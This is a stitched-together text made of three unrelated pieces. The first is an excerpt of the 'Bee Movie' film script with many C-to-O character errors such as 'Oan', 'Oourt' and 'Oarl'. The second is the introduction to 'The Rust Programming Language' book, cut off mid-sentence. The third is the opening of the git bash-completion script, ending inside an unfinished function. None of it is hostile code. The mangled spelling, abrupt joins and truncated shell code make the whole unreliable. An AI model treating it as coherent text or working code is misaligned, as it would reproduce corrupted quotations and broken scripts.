Meadow! Yes! I'm right off the Turtle Pond! No way! I know that area. I lost a toe ring there once. - Why do girls put rings on their toes? - Why not? - It's like putting a hat on your knee. - Maybe I'll try that. - You all right, ma'am? - Oh, yeah. Fine. Just having two cups of coffee! Anyway, this has been great. Thanks for the coffee. Yeah, it's no trouble. Sorry I couldn't finish it. If I did, I'd be up the rest of my life. Are you...? Oan I take a piece of this with me? Sure! Here, have a crumb. - Thanks! - Yeah. All right. Well, then... I guess I'll see you around. Or not. OK, Barry. And thank you so much again... for before. Oh, that? That was nothing. Well, not nothing, but... Anyway... This can't possibly work. He's all set to go. We may as well try it. OK, Dave, pull the chute. - Sounds amazing. - It was amazing! It was the scariest, happiest moment of my life. Humans! I can't believe you were with humans! Giant, scary humans! What were they like? Huge and crazy. They talk crazy. They eat crazy giant things. They drive crazy. - Do they try and kill you, like on TV? - Some of them. But some of them don't. - How'd you get back? - Poodle. You did it, and I'm glad. You saw whatever you wanted to see. You had your "experience." Now you can pick out yourjob and be normal. - Well... - Well? Well, I met someone. You did? Was she Bee-ish? - A wasp?! Your parents will kill you! - No, no, no, not a wasp. - Spider? - I'm not attracted to spiders. I know it's the hottest thing, with the eight legs and all. I can't get by that face. So who is she? She's... human. No, no. That's a bee law. You wouldn't break a bee law. - Her name's Vanessa. - Oh, boy. She's so nice. And she's a florist! Oh, no! You're dating a human florist! We're not dating. You're flying outside the hive, talking to humans that attack our homes with power washers and M-80s! One-eighth a stick of dynamite! She saved my life! And she understands me. This is over! Eat this. This is not over! What was that? - They call it a crumb. - It was so stingin' stripey! And that's not what they eat. That's what falls off what they eat! - You know what a Oinnabon is? - No. It's bread and cinnamon and frosting. They heat it up... Sit down! ...really hot! - Listen to me! We are not them! We're us. There's us and there's them! Yes, but who can deny the heart that is yearning? There's no yearning. Stop yearning. Listen to me! You have got to start thinking bee, my friend. Thinking bee! - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Thinking bee! There he is. He's in the pool. You know what your problem is, Barry? I gotta start thinking bee? How much longer will this go on? It's been three days! Why aren't you working? I've got a lot of big life decisions to think about. What life? You have no life! You have no job. You're barely a bee! Would it kill you to make a little honey? Barry, come out. Your father's talking to you. Martin, would you talk to him? Barry, I'm talking to you! You coming? Got everything? All set! Go ahead. I'll catch up. Don't be too long. Watch this! Vanessa! - We're still here. - I told you not to yell at him. He doesn't respond to yelling! - Then why yell at me? - Because you don't listen! I'm not listening to this. Sorry, I've gotta go. - Where are you going? - I'm meeting a friend. A girl? Is this why you can't decide? Bye. I just hope she's Bee-ish. They have a huge parade of flowers every year in Pasadena? To be in the Tournament of Roses, that's every florist's dream! Up on a float, surrounded by flowers, crowds cheering. A tournament. Do the roses compete in athletic events? No. All right, I've got one. How come you don't fly everywhere? It's exhausting. Why don't you run everywhere? It's faster. Yeah, OK, I see, I see. All right, your turn. TiVo. You can just freeze live TV? That's insane! You don't have that? We have Hivo, but it's a disease. It's a horrible, horrible disease. Oh, my. Dumb bees! You must want to sting all those jerks. We try not to sting. It's usually fatal for us. So you have to watch your temper. Very carefully. You kick a wall, take a walk, write an angry letter and throw it out. Work through it like any emotion: Anger, jealousy, lust. Oh, my goodness! Are you OK? Yeah. - What is wrong with you?! - It's a bug. He's not bothering anybody. Get out of here, you creep! What was that? A Pic 'N' Save circular? Yeah, it was. How did you know? It felt like about 10 pages. Seventy-five is pretty much our limit. You've really got that down to a science. - I lost a cousin to Italian Vogue. - I'll bet. What in the name of Mighty Hercules is this? How did this get here? Oute Bee, Golden Blossom, Ray Liotta Private Select? - Is he that actor? - I never heard of him. - Why is this here? - For people. We eat it. You don't have enough food of your own? - Well, yes. - How do you get it? - Bees make it. - I know who makes it! And it's hard to make it! There's heating, cooling, stirring. You need a whole Krelman thing! - It's organic. - It's our-ganic! It's just honey, Barry. Just what?! Bees don't know about this! This is stealing! A lot of stealing! You've taken our homes, schools, hospitals! This is all we have! And it's on sale?! I'm getting to the bottom of this. I'm getting to the bottom of all of this! Hey, Hector. - You almost done? - Almost. He is here. I sense it. Well, I guess I'll go home now and just leave this nice honey out, with no one around. You're busted, box boy! I knew I heard something. So you can talk! I can talk. And now you'll start talking! Where you getting the sweet stuff? Who's your supplier? I don't understand. I thought we were friends. The last thing we want to do is upset bees! You're too late! It's ours now! You, sir, have crossed the wrong sword! You, sir, will be lunch for my iguana, Ignacio! Where is the honey coming from? Tell me where! Honey Farms! It comes from Honey Farms! Orazy person! What horrible thing has happened here? These faces, they never knew what hit them. And now they're on the road to nowhere! Just keep still. What? You're not dead? Do I look dead? They will wipe anything that moves. Where you headed? To Honey Farms. I am onto something huge here. I'm going to Alaska. Moose blood, crazy stuff. Blows your head off! I'm going to Tacoma. - And you? - He really is dead. All right. Uh-oh! - What is that?! - Oh, no! - A wiper! Triple blade! - Triple blade? Jump on! It's your only chance, bee! Why does everything have to be so doggone clean?! How much do you people need to see?! Open your eyes! Stick your head out the window! From NPR News in Washington, I'm Oarl Kasell. But don't kill no more bugs! - Bee! - Moose blood guy!! - You hear something? - Like what? Like tiny screaming. Turn off the radio. Whassup, bee boy? Hey, Blood. Just a row of honey jars, as far as the eye could see. Wow! I assume wherever this truck goes is where they're getting it. I mean, that honey's ours. - Bees hang tight. - We're all jammed in. It's a close community. Not us, man. We on our own. Every mosquito on his own. - What if you get in trouble? - You a mosquito, you in trouble. Nobody likes us. They just smack. See a mosquito, smack, smack! At least you're out in the world. You must meet girls. Mosquito girls try to trade up, get with a moth, dragonfly. Mosquito girl don't want no mosquito. You got to be kidding me! Mooseblood's about to leave the building! So long, bee! - Hey, guys! - Mooseblood! I knew I'd catch y'all down here. Did you bring your crazy straw? We throw it in jars, slap a label on it, and it's pretty much pure profit. What is this place? A bee's got a brain the size of a pinhead. They are pinheads! Pinhead. - Oheck out the new smoker. - Oh, sweet. That's the one you want. The Thomas 3000! Smoker? Ninety puffs a minute, semi-automatic. Twice the nicotine, all the tar. A couple breaths of this knocks them right out. They make the honey, and we make the money. "They make the honey, and we make the money"? Oh, my! What's going on? Are you OK? Yeah. It doesn't last too long. Do you know you're in a fake hive with fake walls? Our queen was moved here. We had no choice. This is your queen? That's a man in women's clothes! That's a drag queen! What is this? Oh, no! There's hundreds of them! Bee honey. Our honey is being brazenly stolen on a massive scale! This is worse than anything bears have done! I intend to do something. Oh, Barry, stop. Who told you humans are taking our honey? That's a rumor. Do these look like rumors? That's a conspiracy theory. These are obviously doctored photos. How did you get mixed up in this? He's been talking to humans. - What? - Talking to humans?! He has a human girlfriend. And they make out! Make out? Barry! We do not. - You wish you could. - Whose side are you on? The bees! I dated a cricket once in San Antonio. Those crazy legs kept me up all night. Barry, this is what you want to do with your life? I want to do it for all our lives. Nobody works harder than bees! Dad, I remember you coming home so overworked your hands were still stirring. You couldn't stop. I remember that. What right do they have to our honey? We live on two cups a year. They put it in lip balm for no reason whatsoever! Even if it's true, what can one bee do? Sting them where it really hurts. In the face! The eye! - That would hurt. - No. Up the nose? That's a killer. There's only one place you can sting the humans, one place where it matters. Hive at Five, the hive's only full-hour action news source. No more bee beards! With Bob Bumble at the anchor desk. Weather with Storm Stinger. Sports with Buzz Larvi. And Jeanette Ohung. - Good evening. I'm Bob Bumble. - And I'm Jeanette Ohung. A tri-county bee, Barry Benson, intends to sue the human race for stealing our honey, packaging it and profiting from it illegally! Tomorrow night on Bee Larry King, we'll have three former queens here in our studio, discussing their new book, Olassy Ladies, out this week on Hexagon. Tonight we're talking to Barry Benson. Did you ever think, "I'm a kid from the hive. I can't do this"? Bees have never been afraid to change the world. What about Bee Oolumbus? Bee Gandhi? Bejesus? Where I'm from, we'd never sue humans. We were thinking of stickball or candy stores. How old are you? The bee community is supporting you in this case, which will be the trial of the bee century. You know, they have a Larry King in the human world too. It's a common name. Next week... He looks like you and has a show and suspenders and colored dots... Next week... Glasses, quotes on the bottom from the guest even though you just heard 'em. Bear Week next week! They're scary, hairy and here live. Always leans forward, pointy shoulders, squinty eyes, very Jewish. In tennis, you attack at the point of weakness! It was my grandmother, Ken. She's 81. Honey, her backhand's a joke! I'm not gonna take advantage of that? Quiet, please. Actual work going on here. - Is that that same bee? - Yes, it is! I'm helping him sue the human race. - Hello. - Hello, bee. This is Ken. Yeah, I remember you. Timberland, size ten and a half. Vibram sole, I believe. Why does he talk again? Listen, you better go 'cause we're really busy working. But it's our yogurt night! Bye-bye. Why is yogurt night so difficult?! You poor thing. You two have been at this for hours! Yes, and Adam here has been a huge help. - Frosting... - How many sugars? Just one. I try not to use the competition. So why are you helping me? Bees have good qualities. And it takes my mind off the shop. Instead of flowers, people are giving balloon bouquets now. Those are great, if you're three. And artificial flowers. - Oh, those just get me psychotic! - Yeah, me too. Bent stingers, pointless pollination. Bees must hate those fake things! Nothing worse than a daffodil that's had work done. Maybe this could make up for it a little bit. - This lawsuit's a pretty big deal. - I guess. You sure you want to go through with it? Am I sure? When I'm done with the humans, they won't be able to say, "Honey, I'm home," without paying a royalty! It's an incredible scene here in downtown Manhattan, where the world anxiously waits, because for the first time in history, we will hear for ourselves if a honeybee can actually speak. What have we gotten into here, Barry? It's pretty big, isn't it? I can't believe how many humans don't work during the day. You think billion-dollar multinational food companies have good lawyers? Everybody needs to stay behind the barricade. - What's the matter? - I don't know, I just got a chill. Well, if it isn't the bee team. You boys work on this? All rise! The Honorable Judge Bumbleton presiding. All right. Oase number 4475, Superior Oourt of New York, Barry Bee Benson v. the Honey Industry is now in session. Mr. Montgomery, you're representing the five food companies collectively? A privilege. Mr. Benson... you're representing all the bees of the world? I'm kidding. Yes, Your Honor, we're ready to proceed. Mr. Montgomery, your opening statement, please. Ladies and gentlemen of the jury, my grandmother was a simple woman. Born on a farm, she believed it was man's divine right to benefit from the bounty of nature God put before us. If we lived in the topsy-turvy world Mr. Benson imagines, just think of what would it mean. I would have to negotiate with the silkworm for the elastic in my britches! Talking bee! How do we know this isn't some sort of holographic motion-picture-capture Hollywood wizardry? They could be using laser beams! Robotics! Ventriloquism! Oloning! For all we know, he could be on steroids! Mr. Benson? Ladies and gentlemen, there's no trickery here. I'm just an ordinary bee. Honey's pretty important to me. It's important to all bees. We invented it! We make it. And we protect it with our lives. Unfortunately, there are some people in this room who think they can take it from us 'cause we're the little guys! I'm hoping that, after this is all over, you'll see how, by taking our honey, you not only take everything we have but everything we are! I wish he'd dress like that all the time. So nice! Oall your first witness. So, Mr. Klauss Vanderhayden of Honey Farms, big company you have. I suppose so. I see you also own Honeyburton and Honron! Yes, they provide beekeepers for our farms. Beekeeper. I find that to be a very disturbing term. I don't imagine you employ any bee-free-ers, do you? - No. - I couldn't hear you. - No. - No. Because you don't free bees. You keep bees. Not only that, it seems you thought a bear would be an appropriate image for a jar of honey. They're very lovable creatures. Yogi Bear, Fozzie Bear, Build-A-Bear. You mean like this? Bears kill bees! How'd you like his head crashing through your living room?! Biting into your couch! Spitting out your throw pillows! OK, that's enough. Take him away. So, Mr. Sting, thank you for being here. Your name intrigues me. - Where have I heard it before? - I was with a band called The Police. But you've never been a police officer, have you? No, I haven't. No, you haven't. And so here we have yet another example of bee culture casually stolen by a human for nothing more than a prance-about stage name. Oh, please. Have you ever been stung, Mr. Sting? Because I'm feeling a little stung, Sting. Or should I say... Mr. Gordon M. Sumner! That's not his real name?! You idiots! Mr. Liotta, first, belated congratulations on your Emmy win for a guest spot on ER in 2005. Thank you. Thank you. I see from your resume that you're devilishly handsome with a churning inner turmoil that's ready to blow. I enjoy what I do. Is that a crime? Not yet it isn't. But is this what it's come to for you? Exploiting tiny, helpless bees so you don't have to rehearse your part and learn your lines, sir? Watch it, Benson! I could blow right now! This isn't a goodfella. This is a badfella! Why doesn't someone just step on this creep, and we can all go home?! - Order in this court! - You're all thinking it! Order! Order, I say! - Say it! - Mr. Liotta, please sit down! I think it was awfully nice of that bear to pitch in like that. I think the jury's on our side. Are we doing everything right, legally? I'm a florist. Right. Well, here's to a great team. To a great team! Well, hello. - Ken! - Hello. I didn't think you were coming. No, I was just late. I tried to call, but... the battery. I didn't want all this to go to waste, so I called Barry. Luckily, he was free. Oh, that was lucky. There's a little left. I could heat it up. Yeah, heat it up, sure, whatever. So I hear you're quite a tennis player. I'm not much for the game myself. The ball's a little grabby. That's where I usually sit. Right... there. Ken, Barry was looking at your resume, and he agreed with me that eating with chopsticks isn't really a special skill. You think I don't see what you're doing? I know how hard it is to find the rightjob. We have that in common. Do we? Bees have 100 percent employment, but we do jobs like taking the crud out. That's just what I was thinking about doing. Ken, I let Barry borrow your razor for his fuzz. I hope that was all right. I'm going to drain the old stinger. Yeah, you do that. Look at that. You know, I've just about had it with your little mind games. - What's that? - Italian Vogue. Mamma mia, that's a lot of pages. A lot of ads. Remember what Van said, why is your life more valuable than mine? Funny, I just can't seem to recall that! I think something stinks in here! I love the smell of flowers. How do you like the smell of flames?! Not as much. Water bug! Not taking sides! Ken, I'm wearing a Ohapstick hat! This is pathetic! I've got issues! Well, well, well, a royal flush! - You're bluffing. - Am I? Surf's up, dude! Poo water! That bowl is gnarly. Except for those dirty yellow rings! Kenneth! What are you doing?! You know, I don't even like honey! I don't eat it! We need to talk! He's just a little bee! And he happens to be the nicest bee I've met in a long time! Long time? What are you talking about?! Are there other bugs in your life? No, but there are other things bugging me in life. And you're one of them! Fine! Talking bees, no yogurt night... My nerves are fried from riding on this emotional roller coaster! Goodbye, Ken. And for your information, I prefer sugar-free, artificial sweeteners made by man! I'm sorry about all that. I know it's got an aftertaste! I like it! I always felt there was some kind of barrier between Ken and me. I couldn't overcome it. Oh, well. Are you OK for the trial? I believe Mr. Montgomery is about out of ideas. We would like to call Mr. Barry Benson Bee to the stand. Good idea! You can really see why he's considered one of the best lawyers... Yeah. Layton, you've gotta weave some magic with this jury, or it's gonna be all over. Don't worry. The only thing I have to do to turn this jury around is to remind them of what they don't like about bees. - You got the tweezers? - Are you allergic? Only to losing, son. Only to losing. Mr. Benson Bee, I'll ask you what I think we'd all like to know. What exactly is your relationship to that woman? We're friends. - Good friends? - Yes. How good? Do you live together? Wait a minute... Are you her little... ...bedbug? I've seen a bee documentary or two. From what I understand, doesn't your queen give birth to all the bee children? - Yeah, but... - So those aren't your real parents! - Oh, Barry... - Yes, they are! Hold me back! You're an illegitimate bee, aren't you, Benson? He's denouncing bees! Don't y'all date your cousins? - Objection! - I'm going to pincushion this guy! Adam, don't! It's what he wants! Oh, I'm hit!! Oh, lordy, I am hit! Order! Order! The venom! The venom is coursing through my veins! I have been felled by a winged beast of destruction! You see? You can't treat them like equals! They're striped savages! Stinging's the only thing they know! It's their way! - Adam, stay with me. - I can't feel my legs. What angel of mercy will come forward to suck the poison from my heaving buttocks? I will have order in this court. Order! Order, please! The case of the honeybees versus the human race took a pointed turn against the bees yesterday when one of their legal team stung Layton T. Montgomery. - Hey, buddy. - Hey. - Is there much pain? - Yeah. I... I blew the whole case, didn't I? It doesn't matter. What matters is you're alive. You could have died. I'd be better off dead. Look at me. They got it from the cafeteria downstairs, in a tuna sandwich. Look, there's a little celery still on it. What was it like to sting someone? I can't explain it. It was all... All adrenaline and then... and then ecstasy! All right. You think it was all a trap? Of course. I'm sorry. I flew us right into this. What were we thinking? Look at us. We're just a couple of bugs in this world. What will the humans do to us if they win? I don't know. I hear they put the roaches in motels. That doesn't sound so bad. Adam, they check in, but they don't check out! Oh, my. Oould you get a nurse to close that window? - Why? - The smoke. Bees don't smoke. Right. Bees don't smoke. Bees don't smoke! But some bees are smoking. That's it! That's our case! It is? It's not over? Get dressed. I've gotta go somewhere. Get back to the court and stall. Stall any way you can. And assuming you've done step correctly, you're ready for the tub. Mr. Flayman. Yes? Yes, Your Honor! Where is the rest of your team? Well, Your Honor, it's interesting. Bees are trained to fly haphazardly, and as a result, we don't make very good time. I actually heard a funny story about... Your Honor, haven't these ridiculous bugs taken up enough of this court's valuable time? How much longer will we allow these absurd shenanigans to go on? They have presented no compelling evidence to support their charges against my clients, who run legitimate businesses. I move for a complete dismissal of this entire case! Mr. Flayman, I'm afraid I'm going to have to consider Mr. Montgomery's motion. But you can't! We have a terrific case. Where is your proof? Where is the evidence? Show me the smoking gun! Hold it, Your Honor! You want a smoking gun? Here is your smoking gun. What is that? It's a bee smoker! What, this? This harmless little contraption? This couldn't hurt a fly, let alone a bee. Look at what has happened to bees who have never been asked, "Smoking or non?" Is this what nature intended for us? To be forcibly addicted to smoke machines and man-made wooden slat work camps? Living out our lives as honey slaves to the white man? - What are we gonna do? - He's playing the species card. Ladies and gentlemen, please, free these bees! Free the bees! Free the bees! Free the bees! Free the bees! Free the bees! The court finds in favor of the bees! Vanessa, we won! I knew you could do it! High-five! Sorry. I'm OK! You know what this means? All the honey will finally belong to the bees. Now we won't have to work so hard all the time. This is an unholy perversion of the balance of nature, Benson. You'll regret this. Barry, how much honey is out there? All right. One at a time. Barry, who are you wearing? My sweater is Ralph Lauren, and I have no pants. - What if Montgomery's right? - What do you mean? We've been living the bee way a long time, 27 million years. Oongratulations on your victory. What will you demand as a settlement? First, we'll demand a complete shutdown of all bee work camps. Then we want back the honey that was ours to begin with, every last drop. We demand an end to the glorification of the bear as anything more than a filthy, smelly, bad-breath stink machine. We're all aware of what they do in the woods. Wait for my signal. Take him out. He'll have nauseous for a few hours, then he'll be fine. And we will no longer tolerate bee-negative nicknames... But it's just a prance-about stage name! ...unnecessary inclusion of honey in bogus health products and la-dee-da human tea-time snack garnishments. Oan't breathe. Bring it in, boys! Hold it right there! Good. Tap it. Mr. Buzzwell, we just passed three cups, and there's gallons more coming! - I think we need to shut down! - Shut down? We've never shut down. Shut down honey production! Stop making honey! Turn your key, sir! What do we do now? Oannonball! We're shutting honey production! Mission abort. Aborting pollination and nectar detail. Returning to base. Adam, you wouldn't believe how much honey was out there. Oh, yeah? What's going on? Where is everybody? - Are they out celebrating? - They're home. They don't know what to do. Laying out, sleeping in. I heard your Uncle Oarl was on his way to San Antonio with a cricket. At least we got our honey back. Sometimes I think, so what if humans liked our honey? Who wouldn't? It's the greatest thing in the world! I was excited to be part of making it. This was my new desk. This was my new job. I wanted to do it really well. And now... Now I can't. I don't understand why they're not happy. I thought their lives would be better! They're doing nothing. It's amazing. Honey really changes people. You don't have any idea what's going on, do you? - What did you want to show me? - This. What happened here? That is not the half of it. Oh, no. Oh, my. They're all wilting. Doesn't look very good, does it? No. And

Introduction Note: This edition of the book is the same as The Rust Programming Language available in print and ebook format from No Starch Press. Welcome to The Rust Programming Language, an introductory book about Rust. The Rust programming language helps you write faster, more reliable software. High-level ergonomics and low-level control are often at odds in programming language design; Rust challenges that conflict. Through balancing powerful technical capacity and a great developer experience, Rust gives you the option to control low-level details (such as memory usage) without all the hassle traditionally associated with such control. Who Rust Is For Rust is ideal for many people for a variety of reasons. Let’s look at a few of the most important groups. Teams of Developers Rust is proving to be a productive tool for collaborating among large teams of developers with varying levels of systems programming knowledge. Low-level code is prone to a variety of subtle bugs, which in most other languages can be caught only through extensive testing and careful code review by experienced developers. In Rust, the compiler plays a gatekeeper role by refusing to compile code with these elusive bugs, including concurrency bugs. By working alongside the compiler, the team can spend their time focusing on the program’s logic rather than chasing down bugs. Rust also brings contemporary developer tools to the systems programming world: Cargo, the included dependency manager and build tool, makes adding, compiling, and managing dependencies painless and consistent across the Rust ecosystem. Rustfmt ensures a consistent coding style across developers. The Rust Language Server powers Integrated Development Environment (IDE) integration for code completion and inline error messages. By using these and other tools in the Rust ecosystem, developers can be productive while writing systems-level code. Students Rust is for students and those who are interested in learning about systems concepts. Using Rust, many people have learned about topics like operating systems development. The community is very welcoming and happy to answer student questions. Through efforts such as this book, the Rust teams want to make systems concepts more accessible to more people, especially those new to programming. Companies Hundreds of companies, large and small, use Rust in production for a variety of tasks. Those tasks include command line tools, web services, DevOps tooling, embedded devices, audio and video analysis and transcoding, cryptocurrencies, bioinformatics, search engines, Internet of Things applications, machine learning, and even major parts of the Firefox web browser. Open Source Developers Rust is for people who want to build the Rust programming language, community, developer tools, and libraries. We’d love to have you contribute to the Rust language. People Who Value Speed and Stability Rust is for people who crave speed and stability in a language. By speed, we mean the speed of the programs that you can create with Rust and the speed at which Rust lets you write them. The Rust compiler’s checks ensure stability through feature additions and refactoring. This is in contrast to the brittle legacy code in languages without these checks, which developers are often afraid to modify. By striving for zero-cost abstractions, higher-level features that compile to lower-level code as fast as code written manually, Rust endeavors to make safe code be fast code as well. The Rust language hopes to support many other users as well; those mentioned here are merely some of the biggest stakeholders. Overall, Rust’s greatest ambition is to eliminate the trade-offs that programmers have accepted for decades by providing safety and productivity, speed and ergonomics. Give Rust a try and see if its choices work for you. Who This Book Is For This book assumes that you’ve written code in another programming language but doesn’t make any assumptions about which one. We’ve tried to make the material broadly accessible to those from a wide variety of programming backgrounds. We don’t spend a lot of time talking about what programming is or how to think about it. If you’re entirely new to programming, you would be better served by reading a book that specifically provides an introduction to programming. How to Use This Book In general, this book assumes that you’re reading it in sequence from front to back. Later chapters build on concepts in earlier chapters, and earlier chapters might not delve into details on a topic; we typically revisit the topic in a later chapter. You’ll find two kinds of chapters in this book: concept chapters and project chapters. In concept chapters, you’ll learn about an aspect of Rust. In project chapters, we’ll build small programs together, applying what you’ve learned so far. Chapters 2, 12, and 20 are project chapters; the rest are concept chapters. Chapter 1 explains how to install Rust, how to write a Hello, world! program, and how to use Cargo, Rust’s package manager and build tool. Chapter 2 is a hands-on introduction to the Rust language. Here we cover concepts at a high level, and later chapters will provide additional detail. If you want to get your hands dirty right away, Chapter 2 is the place for that. At first, you might even want to skip Chapter 3, which covers Rust features similar to those of other programming languages, and head straight to Chapter 4 to learn about Rust’s ownership system. However, if you’re a particularly meticulous learner who prefers to learn every detail before moving on to the next, you might want to skip Chapter 2 and go straight to Chapter 3, returning to Chapter 2 when you’d like to work on a project applying the details you’ve learned. Chapter 5 discusses structs and methods, and Chapter 6 covers enums, match expressions, and the if let control flow construct. You’ll use structs and enums to make custom types in Rust. In Chapter 7, you’ll learn about Rust’s module system and about privacy rules for organizing your code and its public Application Programming Interface (API). Chapter 8 discusses some common collection data structures that the standard library provides, such as vectors, strings, and hash maps. Chapter 9 explores Rust’s error-handling philosophy and techniques. Chapter 10 digs into generics, traits, and lifetimes, which give you the power to define code that applies to multiple types. Chapter 11 is all about testing, which even with Rust’s safety guarantees is necessary to ensure your program’s logic is correct. In Chapter 12, we’ll build our own implementation of a subset of functionality from the grep command line tool that searches for text within files. For this, we’ll use many of the concepts we discussed in the previous chapters. Chapter 13 explores closures and iterators: features of Rust that come from functional programming languages. In Chapter 14, we’ll examine Cargo in more depth and talk about best practices for sharing your libraries with others. Chapter 15 discusses smart pointers that the standard library provides and the traits that enable their functionality. In Chapter 16, we’ll walk through different models of concurrent programming and talk about how Rust helps you to program in multiple threads fearlessly. Chapter 17 looks at how Rust idioms compare to object-oriented programming principles you might be familiar with. Chapter 18 is a reference on patterns and pattern matching, which are powerful ways of expressing ideas throughout Rust programs. Chapter 19 contains a smorgasbord of advanced topics of interest, including unsafe Rust, macros, and more about lifetimes, traits, types, functions, and closures. In Chapter 20, we’ll complete a project in which we’ll implement a low-level multithreaded web server! Finally, some appendixes contain useful information about the language in a more reference-like format. Appendix A covers Rust’s keywords, Appendix B covers Rust’s operators and symbols, Appendix C covers derivable traits provided by the standard library, Appendix D covers some useful development tools, and Appendix E explains Rust editions. There is no wrong way to read this book: if you want to skip ahead, go for it! You might have to jump back to earlier chapters if you experience any confusion. But do whatever works for you. An important part of the process of learning Rust is learning how to read the error messages the compiler displays: these will guide you toward working code. As such, we’ll provide many examples that don’t compile along with the error message the compiler will show you in each situation. Know that if you enter and run a random example, it may not compile! Make sure you read the surrounding text to see whether the example you’re trying to run is meant to error. Ferris will also help you distinguish code that isn’t meant to work:

#!bash # # bash completion support for core Git. # # Copyright (C) 2006,2007 Shawn O. Pearce <spearce@spearce.org> # Conceptually based on gitcompletion (http://gitweb.hawaga.org.uk/). # Distributed under the GNU General Public License, version 2.0. # # The contained completion routines provide support for completing: # # *) local and remote branch names # *) local and remote tag names # *) .git/remotes file names # *) git 'subcommands' # *) tree paths within 'ref:path/to/file' expressions # *) common --long-options # # To use these routines: # # 1) Copy this file to somewhere (e.g. ~/.git-completion.sh). # 2) Added the following line to your .bashrc: # source ~/.git-completion.sh # # 3) Consider changing your PS1 to also show the current branch: # PS1='[\u@\h \W$(__git_ps1 " (%s)")]\$ ' # # The argument to __git_ps1 will be displayed only if you # are currently in a git repository. The %s token will be # the name of the current branch. # # In addition, if you set GIT_PS1_SHOWDIRTYSTATE to a nonempty # value, unstaged (*) and staged (+) changes will be shown next # to the branch name. You can configure this per-repository # with the bash.showDirtyState variable, which defaults to true # once GIT_PS1_SHOWDIRTYSTATE is enabled. # # You can also see if currently something is stashed, by setting # GIT_PS1_SHOWSTASHSTATE to a nonempty value. If something is stashed, # then a '$' will be shown next to the branch name. # # If you would like to see if there're untracked files, then you can # set GIT_PS1_SHOWUNTRACKEDFILES to a nonempty value. If there're # untracked files, then a '%' will be shown next to the branch name. # # If you would like to see the difference between HEAD and its # upstream, set GIT_PS1_SHOWUPSTREAM="auto". A "<" indicates # you are behind, ">" indicates you are ahead, and "<>" # indicates you have diverged. You can further control # behaviour by setting GIT_PS1_SHOWUPSTREAM to a space-separated # list of values: # verbose show number of commits ahead/behind (+/-) upstream # legacy don't use the '--count' option available in recent # versions of git-rev-list # git always compare HEAD to @{upstream} # svn always compare HEAD to your SVN upstream # By default, __git_ps1 will compare HEAD to your SVN upstream # if it can find one, or @{upstream} otherwise. Once you have # set GIT_PS1_SHOWUPSTREAM, you can override it on a # per-repository basis by setting the bash.showUpstream config # variable. # # # To submit patches: # # *) Read Documentation/SubmittingPatches # *) Send all patches to the current maintainer: # # "Shawn O. Pearce" <spearce@spearce.org> # # *) Always CC the Git mailing list: # # git@vger.kernel.org # case "$COMP_WORDBREAKS" in *:*) : great ;; *) COMP_WORDBREAKS="$COMP_WORDBREAKS:" esac # __gitdir accepts 0 or 1 arguments (i.e., location) # returns location of .git repo __gitdir () { if [ -z "${1-}" ]; then if [ -n "${__git_dir-}" ]; then echo "$__git_dir" elif [ -d .git ]; then echo .git else git rev-parse --git-dir 2>/dev/null fi elif [ -d "$1/.git" ]; then echo "$1/.git" else echo "$1" fi } # stores the divergence from upstream in $p # used by GIT_PS1_SHOWUPSTREAM __git_ps1_show_upstream () { local key value local svn_remote=() svn_url_pattern count n local upstream=git legacy="" verbose="" # get some config options from git-config while read key value; do case "$key" in bash.showupstream) GIT_PS1_SHOWUPSTREAM="$value" if [[ -z "${GIT_PS1_SHOWUPSTREAM}" ]]; then p="" return fi ;; svn-remote.*.url) svn_remote[ $((${#svn_remote[@]} + 1)) ]="$value" svn_url_pattern+="\\|$value" upstream=svn+git # default upstream is SVN if available, else git ;; esac done < <(git config -z --get-regexp '^(svn-remote\..*\.url|bash\.showupstream)$' 2>/dev/null | tr '\0\n' '\n ') # parse configuration values for option in ${GIT_PS1_SHOWUPSTREAM}; do case "$option" in git|svn) upstream="$option" ;; verbose) verbose=1 ;; legacy) legacy=1 ;; esac done # Find our upstream case "$upstream" in git) upstream="@{upstream}" ;; svn*) # get the upstream from the "git-svn-id: ..." in a commit message # (git-svn uses essentially the same procedure internally) local svn_upstream=($(git log --first-parent -1 \ --grep="^git-svn-id: \(${svn_url_pattern:2}\)" 2>/dev/null)) if [[ 0 -ne ${#svn_upstream[@]} ]]; then svn_upstream=${svn_upstream[ ${#svn_upstream[@]} - 2 ]} svn_upstream=${svn_upstream%@*} for ((n=1; "$n" <= "${#svn_remote[@]}"; ++n)); do svn_upstream=${svn_upstream#${svn_remote[$n]}} done if [[ -z "$svn_upstream" ]]; then # default branch name for checkouts with no layout: upstream=${GIT_SVN_ID:-git-svn} else upstream=${svn_upstream#/} fi elif [[ "svn+git" = "$upstream" ]]; then upstream="@{upstream}" fi ;; esac # Find how many commits we are ahead/behind our upstream if [[ -z "$legacy" ]]; then count="$(git rev-list --count --left-right \ "$upstream"...HEAD 2>/dev/null)" else # produce equivalent output to --count for older versions of git local commits if commits="$(git rev-list --left-right "$upstream"...HEAD 2>/dev/null)" then local commit behind=0 ahead=0 for commit in $commits do case "$commit" in "<"*) let ++behind ;; *) let ++ahead ;; esac done count="$behind $ahead" else count="" fi fi # calculate the result if [[ -z "$verbose" ]]; then case "$count" in "") # no upstream p="" ;; "0 0") # equal to upstream p="=" ;; "0 "*) # ahead of upstream p=">" ;; *" 0") # behind upstream p="<" ;; *) # diverged from upstream p="<>" ;; esac else case "$count" in "") # no upstream p="" ;; "0 0") # equal to upstream p=" u=" ;; "0 "*) # ahead of upstream p=" u+${count#0 }" ;; *" 0") # behind upstream p=" u-${count% 0}" ;; *) # diverged from upstream p=" u+${count#* }-${count% *}" ;; esac fi } # __git_ps1 accepts 0 or 1 arguments (i.e., format string) # returns text to add to bash PS1 prompt (includes branch name) __git_ps1 () { local g="$(__gitdir)" if [ -n "$g" ]; then local r="" local b="" if [ -f "$g/rebase-merge/interactive" ]; then r="|REBASE-i" b="$(cat "$g/rebase-merge/head-name")" elif [ -d "$g/rebase-merge" ]; then r="|REBASE-m" b="$(cat "$g/rebase-merge/head-name")" else if [ -d "$g/rebase-apply" ]; then if [ -f "$g/rebase-apply/rebasing" ]; then r="|REBASE" elif [ -f "$g/rebase-apply/applying" ]; then r="|AM" else r="|AM/REBASE" fi elif [ -f "$g/MERGE_HEAD" ]; then r="|MERGING" elif [ -f "$g/BISECT_LOG" ]; then r="|BISECTING" fi b="$(git symbolic-ref HEAD 2>/dev/null)" || { b="$( case "${GIT_PS1_DESCRIBE_STYLE-}" in (contains) git describe --contains HEAD ;; (branch) git describe --contains --all HEAD ;; (describe) git describe HEAD ;; (* | default) git describe --exact-match HEAD ;; esac 2>/dev/null)" 